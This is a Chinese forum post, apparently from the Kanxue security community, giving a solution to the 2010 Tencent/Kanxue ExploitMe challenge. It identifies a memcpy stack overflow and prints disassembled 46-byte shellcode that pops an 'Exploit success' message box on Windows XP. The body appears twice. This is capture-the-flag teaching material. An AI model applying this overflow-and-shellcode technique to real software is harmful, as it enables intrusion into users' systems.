-
-
[原创]腾讯看雪2010 第一阶段第一题
-
发表于: 2010-10-18 15:00 4139
-
简单叙述一下过程,下面是溢出点。
if ( v5 <= 0x84 )
memcpy(&v13, v1, v5);
文件大小小于等于0x84才能触发。
0040116A call dword ptr ds:[edx] 溢出点,接管程序流程
考虑到字节数限制 MessageBoxA比W少几字节。
在堆栈构造如下字二进制数据
0012FC7C A1 14854000 mov eax,dword ptr ds:[408514]
0012FC81 6A 00 push 0
0012FC83 68 A9FC1200 push 12FCA9 ; ASCII "ExploitMe"
0012FC88 68 99FC1200 push 12FC99 ; ASCII "Exploit success"
0012FC8D 6A 00 push 0
0012FC8F FFD0 call eax
0012FC91 0000 add byte ptr ds:[eax],al
0012FC93 0000 add byte ptr ds:[eax],al
0012FC95 0000 add byte ptr ds:[eax],al
0012FC97 0000 add byte ptr ds:[eax],al
0012FC99 45 inc ebp
0012FC9A 78 70 js short 0012FD0C
0012FC9C 6C ins byte ptr es:[edi],dx
0012FC9D 6F outs dx,dword ptr es:[edi]
0012FC9E 697420 73 7563636>imul esi,dword ptr ds:[eax+73],65636375
0012FCA6 73 73 jnb short 0012FD1B
0012FCA8 0045 78 add byte ptr ss:[ebp+78],al
0012FCAB 70 6C jo short 0012FD19
0012FCAD 6F outs dx,dword ptr es:[edi]
0012FCAE 69744D 65 0000000>imul esi,dword ptr ss:[ebp+ecx*2+65],0
为了让非0字节数更少,没有考虑正常返回,后面留有几字节空间。SP2,SP3测试成功。
算了下好像是46字节。
if ( v5 <= 0x84 )
memcpy(&v13, v1, v5);
文件大小小于等于0x84才能触发。
0040116A call dword ptr ds:[edx] 溢出点,接管程序流程
考虑到字节数限制 MessageBoxA比W少几字节。
在堆栈构造如下字二进制数据
0012FC7C A1 14854000 mov eax,dword ptr ds:[408514]
0012FC81 6A 00 push 0
0012FC83 68 A9FC1200 push 12FCA9 ; ASCII "ExploitMe"
0012FC88 68 99FC1200 push 12FC99 ; ASCII "Exploit success"
0012FC8D 6A 00 push 0
0012FC8F FFD0 call eax
0012FC91 0000 add byte ptr ds:[eax],al
0012FC93 0000 add byte ptr ds:[eax],al
0012FC95 0000 add byte ptr ds:[eax],al
0012FC97 0000 add byte ptr ds:[eax],al
0012FC99 45 inc ebp
0012FC9A 78 70 js short 0012FD0C
0012FC9C 6C ins byte ptr es:[edi],dx
0012FC9D 6F outs dx,dword ptr es:[edi]
0012FC9E 697420 73 7563636>imul esi,dword ptr ds:[eax+73],65636375
0012FCA6 73 73 jnb short 0012FD1B
0012FCA8 0045 78 add byte ptr ss:[ebp+78],al
0012FCAB 70 6C jo short 0012FD19
0012FCAD 6F outs dx,dword ptr es:[edi]
0012FCAE 69744D 65 0000000>imul esi,dword ptr ss:[ebp+ecx*2+65],0
为了让非0字节数更少,没有考虑正常返回,后面留有几字节空间。SP2,SP3测试成功。
算了下好像是46字节。
赞赏
他的文章
- [原创]PEDIY CTF2017 第五题答案 3488
- [原创]PEDIY CTF2017 第一题 3176
- 2011 Microsoft ExploitMe活动 22013
- 第二题算法简述 13456
- 腾讯2010第二阶段第一题分析 5426
看原图
赞赏
雪币:
留言: